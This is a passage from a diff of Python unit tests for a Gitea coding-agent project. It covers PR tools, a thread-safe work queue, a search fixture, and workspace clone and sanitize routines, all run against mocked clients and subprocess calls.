mock_client.get_pull_request_diff.side_effect = Exception("API Error")
mock_client = _create_mock_client()
mock_client.prs.get_pull_request_diff.side_effect = Exception("API Error")
pr_tools: PRTools = PRTools(mock_client)
res: str = pr_tools.get_pull_request_diff("owner", "repo", 1)
@@ -179,8 +201,8 @@ def test_get_pull_request_diff_failure() -> None:
def test_get_pull_request_patch_success() -> None:
mock_client: MagicMock = MagicMock(spec=GiteaClient)
mock_client.get_pull_request_patch.return_value = "patch content"
mock_client = _create_mock_client()
mock_client.prs.get_pull_request_patch.return_value = "patch content"
pr_tools: PRTools = PRTools(mock_client)
res: str = pr_tools.get_pull_request_patch("owner", "repo", 1)
@@ -188,8 +210,8 @@ def test_get_pull_request_patch_success() -> None:
def test_get_pull_request_patch_failure() -> None:
mock_client: MagicMock = MagicMock(spec=GiteaClient)
mock_client.get_pull_request_patch.side_effect = Exception("API Error")
mock_client = _create_mock_client()
mock_client.prs.get_pull_request_patch.side_effect = Exception("API Error")
pr_tools: PRTools = PRTools(mock_client)
res: str = pr_tools.get_pull_request_patch("owner", "repo", 1)
@@ -197,8 +219,8 @@ def test_get_pull_request_patch_failure() -> None:
def test_approve_pull_request_success() -> None:
mock_client: MagicMock = MagicMock(spec=GiteaClient)
mock_client.approve_pr.return_value = {}
mock_client = _create_mock_client()
mock_client.prs.approve_pr.return_value = {}
pr_tools: PRTools = PRTools(mock_client)
res: str = pr_tools.approve_pull_request("owner", "repo", 1, "good")
@@ -206,8 +228,8 @@ def test_approve_pull_request_success() -> None:
def test_approve_pull_request_failure() -> None:
mock_client: MagicMock = MagicMock(spec=GiteaClient)
mock_client.approve_pr.side_effect = Exception("API Error")
mock_client = _create_mock_client()
mock_client.prs.approve_pr.side_effect = Exception("API Error")
pr_tools: PRTools = PRTools(mock_client)
res: str = pr_tools.approve_pull_request("owner", "repo", 1, "good")
@@ -215,8 +237,8 @@ def test_approve_pull_request_failure() -> None:
def test_request_changes_success() -> None:
mock_client: MagicMock = MagicMock(spec=GiteaClient)
mock_client.request_changes_pr.return_value = {}
mock_client = _create_mock_client()
mock_client.prs.request_changes_pr.return_value = {}
pr_tools: PRTools = PRTools(mock_client)
res: str = pr_tools.request_changes("owner", "repo", 1, "bad")
@@ -224,8 +246,8 @@ def test_request_changes_success() -> None:
def test_request_changes_failure() -> None:
mock_client: MagicMock = MagicMock(spec=GiteaClient)
mock_client.request_changes_pr.side_effect = Exception("API Error")
mock_client = _create_mock_client()
mock_client.prs.request_changes_pr.side_effect = Exception("API Error")
pr_tools: PRTools = PRTools(mock_client)
res: str = pr_tools.request_changes("owner", "repo", 1, "bad")
+102
View File
@@ -0,0 +1,102 @@
import threading
from core.queue import WorkQueue, WorkItem
from gitea.models import IssueModel
def test_work_queue_basic_operations() -> None:
queue: WorkQueue = WorkQueue()
assert queue.is_empty
assert len(queue) == 0
assert queue.get_next_repo() is None
item1 = WorkItem(
repo_full_name="meeks/repo1",
task_type="issue",
task_number=1,
task_info=IssueModel(number=1),
)
item2 = WorkItem(
repo_full_name="meeks/repo1",
task_type="issue",
task_number=2,
task_info=IssueModel(number=2),
)
item3 = WorkItem(
repo_full_name="meeks/repo2",
task_type="issue",
task_number=3,
task_info=IssueModel(number=3),
)
queue.enqueue(item1)
assert not queue.is_empty
assert len(queue) == 1
assert queue.get_next_repo() == "meeks/repo1"
queue.enqueue_batch([item2, item3])
assert len(queue) == 3
# get_repo_work
repo1_work = queue.get_repo_work("meeks/repo1")
assert len(repo1_work) == 2
assert repo1_work[0].task_number == 1
assert repo1_work[1].task_number == 2
# remove_repo_work
queue.remove_repo_work("meeks/repo1")
assert len(queue) == 1
assert queue.get_next_repo() == "meeks/repo2"
queue.remove_repo_work("meeks/repo2")
assert queue.is_empty
assert len(queue) == 0
assert queue.get_next_repo() is None
def test_work_queue_thread_safety() -> None:
queue: WorkQueue = WorkQueue()
num_threads: int = 10
items_per_thread: int = 100
barrier = threading.Barrier(num_threads)
def worker(thread_idx: int) -> None:
barrier.wait() # synchronize start
for i in range(items_per_thread):
item = WorkItem(
repo_full_name=f"meeks/repo_{thread_idx}",
task_type="issue",
task_number=i,
task_info=IssueModel(number=i),
)
queue.enqueue(item)
threads: list[threading.Thread] = []
for idx in range(num_threads):
t = threading.Thread(target=worker, args=(idx,))
threads.append(t)
t.start()
for t in threads:
t.join()
# Verify that all items are enqueued
assert len(queue) == num_threads * items_per_thread
# Concurrently remove repo work
barrier_remove = threading.Barrier(num_threads)
def remover(thread_idx: int) -> None:
barrier_remove.wait()
queue.remove_repo_work(f"meeks/repo_{thread_idx}")
remove_threads: list[threading.Thread] = []
for idx in range(num_threads):
t = threading.Thread(target=remover, args=(idx,))
remove_threads.append(t)
t.start()
for t in remove_threads:
t.join()
assert queue.is_empty
assert len(queue) == 0
+6
View File
@@ -140,6 +140,12 @@ class TestFormatResults:
class TestSearchSearxng:
@pytest.fixture(autouse=True)
def mock_searxng_url(self) -> "Generator[None, None, None]":
from typing import Generator
with patch("gitea.tools.research_tools._SEARXNG_URL", "http://localhost"):
yield
def _make_searxng_response(self, results: list[dict]) -> MagicMock:
mock_resp = MagicMock()
mock_resp.json.return_value = {"results": results}
+211
View File
@@ -0,0 +1,211 @@
from pathlib import Path
from typing import Any
from unittest.mock import MagicMock, patch
import pytest
from gitea.workspace import WorkspaceManager
@patch("gitea.workspace.subprocess.run")
@patch("gitea.workspace.GiteaClient")
def test_workspace_manager_configure_repo_user(
mock_client_class: MagicMock, mock_run: MagicMock
) -> None:
mock_client = MagicMock()
mock_client_class.return_value = mock_client
mock_client.repos = MagicMock()
mock_user = MagicMock()
mock_user.full_name = "Agent Tester"
mock_user.login = "agent-test"
mock_user.email = "agent-test@example.com"
mock_client.repos.get_authenticated_user.return_value = mock_user
workspace = WorkspaceManager()
repo_path = Path("/tmp/mock-repo")
workspace._configure_repo_user(repo_path)
assert mock_run.call_count >= 3
calls = [c[0][0] for c in mock_run.call_args_list]
assert any("http.extraHeader" in call for call in calls)
assert any("user.name" in call for call in calls)
assert any("user.email" in call for call in calls)
@patch("gitea.workspace.subprocess.run")
@patch("gitea.workspace.GiteaClient")
def test_workspace_manager_clone_repo(
mock_client_class: MagicMock, mock_run: MagicMock
) -> None:
mock_client = MagicMock()
mock_client_class.return_value = mock_client
mock_client.repos = MagicMock()
mock_user = MagicMock()
mock_user.full_name = "Agent Tester"
mock_user.login = "agent-test"
mock_user.email = "agent-test@example.com"
mock_client.repos.get_authenticated_user.return_value = mock_user
workspace = WorkspaceManager()
with patch.object(workspace, "_configure_repo_user") as mock_configure:
with patch.object(workspace, "get_repo_path") as mock_get_path:
mock_repo_path = MagicMock(spec=Path)
mock_repo_path.exists.return_value = False
mock_get_path.return_value = mock_repo_path
workspace.clone_repo("meeks/repo1")
mock_run.assert_called_once()
args = mock_run.call_args[0][0]
assert "clone" in args
assert any("http.extraHeader=Authorization: Basic" in arg for arg in args)
mock_configure.assert_called_once_with(mock_repo_path)
@patch("gitea.workspace.subprocess.run")
@patch("gitea.workspace.GiteaClient")
def test_workspace_manager_fails_if_no_authenticated_user(
mock_client_class: MagicMock, mock_run: MagicMock
) -> None:
mock_client = MagicMock()
mock_client_class.return_value = mock_client
mock_client.repos = MagicMock()
mock_client.repos.get_authenticated_user.return_value = None
workspace = WorkspaceManager()
with pytest.raises(RuntimeError, match="No authenticated user found."):
workspace.clone_repo("meeks/repo1")
with pytest.raises(RuntimeError, match="No authenticated user found."):
workspace._configure_repo_user(Path("/tmp/mock-repo"))
@patch("gitea.workspace.subprocess.run")
@patch("gitea.workspace.GiteaClient")
def test_workspace_manager_fails_if_authenticated_user_has_no_login(
mock_client_class: MagicMock, mock_run: MagicMock
) -> None:
mock_client = MagicMock()
mock_client_class.return_value = mock_client
mock_client.repos = MagicMock()
mock_user = MagicMock()
mock_user.login = ""
mock_client.repos.get_authenticated_user.return_value = mock_user
workspace = WorkspaceManager()
with pytest.raises(RuntimeError, match="No authenticated user found."):
workspace.clone_repo("meeks/repo1")
with pytest.raises(RuntimeError, match="No authenticated user found."):
workspace._configure_repo_user(Path("/tmp/mock-repo"))
@patch("gitea.workspace.subprocess.run")
@patch("gitea.workspace.GiteaClient")
def test_workspace_manager_sanitize_repo_no_changes(
mock_client_class: MagicMock, mock_run: MagicMock
) -> None:
# Setup Gitea client mock
mock_client = MagicMock()
mock_client_class.return_value = mock_client
mock_client.repos = MagicMock()
mock_user = MagicMock()
mock_user.full_name = "Agent Tester"
mock_user.login = "agent-test"
mock_user.email = "agent-test@example.com"
mock_client.repos.get_authenticated_user.return_value = mock_user
# Mock subprocess.run for status check and others
def mock_run_side_effect(args: list[str], **kwargs: Any) -> MagicMock:
result = MagicMock()
result.returncode = 0
if "status" in args:
result.stdout = ""
else:
result.stdout = "some output"
return result
mock_run.side_effect = mock_run_side_effect
workspace = WorkspaceManager()
repo_path = Path("/tmp/mock-repo")
workspace.sanitize_repo("meeks/repo1", repo_path)
# Verify that stash was not called
stash_calls = [call for call in mock_run.call_args_list if "stash" in call[0][0]]
assert len(stash_calls) == 0
# Verify other expected git calls
reset_calls = [call for call in mock_run.call_args_list if "reset" in call[0][0]]
clean_calls = [call for call in mock_run.call_args_list if "clean" in call[0][0]]
assert len(reset_calls) > 0
assert len(clean_calls) > 0
@patch("gitea.workspace.subprocess.run")
@patch("gitea.workspace.GiteaClient")
def test_workspace_manager_sanitize_repo_with_changes(
mock_client_class: MagicMock, mock_run: MagicMock
) -> None:
# Setup Gitea client mock
mock_client = MagicMock()
mock_client_class.return_value = mock_client
mock_client.repos = MagicMock()
mock_user = MagicMock()
mock_user.full_name = "Agent Tester"
mock_user.login = "agent-test"
mock_user.email = "agent-test@example.com"
mock_client.repos.get_authenticated_user.return_value = mock_user
# Mock subprocess.run to show modified files
def mock_run_side_effect(args: list[str], **kwargs: Any) -> MagicMock:
result = MagicMock()
result.returncode = 0
if "status" in args:
result.stdout = " M file.py\n?? untracked.py\n"
else:
result.stdout = ""
return result
mock_run.side_effect = mock_run_side_effect
workspace = WorkspaceManager()
repo_path = Path("/tmp/mock-repo")
workspace.sanitize_repo("meeks/repo1", repo_path)
# Verify stash push was called
stash_calls = [call for call in mock_run.call_args_list if "stash" in call[0][0]]
assert len(stash_calls) == 1
assert "push" in stash_calls[0][0][0]
assert "-u" in stash_calls[0][0][0]
@patch("gitea.workspace.subprocess.run")
@patch("gitea.workspace.GiteaClient")
def test_workspace_manager_sanitize_repo_fails(
mock_client_class: MagicMock, mock_run: MagicMock
) -> None:
# Setup Gitea client mock
mock_client = MagicMock()
mock_client_class.return_value = mock_client
mock_client.repos = MagicMock()
mock_user = MagicMock()
mock_user.full_name = "Agent Tester"
mock_user.login = "agent-test"
mock_user.email = "agent-test@example.com"
mock_client.repos.get_authenticated_user.return_value = mock_user
# Mock remote set-url to fail
import subprocess
mock_run.side_effect = subprocess.CalledProcessError(1, "git remote set-url")
workspace = WorkspaceManager()
repo_path = Path("/tmp/mock-repo")
with pytest.raises(RuntimeError, match="Failed to sanitize repository"):
workspace.sanitize_repo("meeks/repo1", repo_path)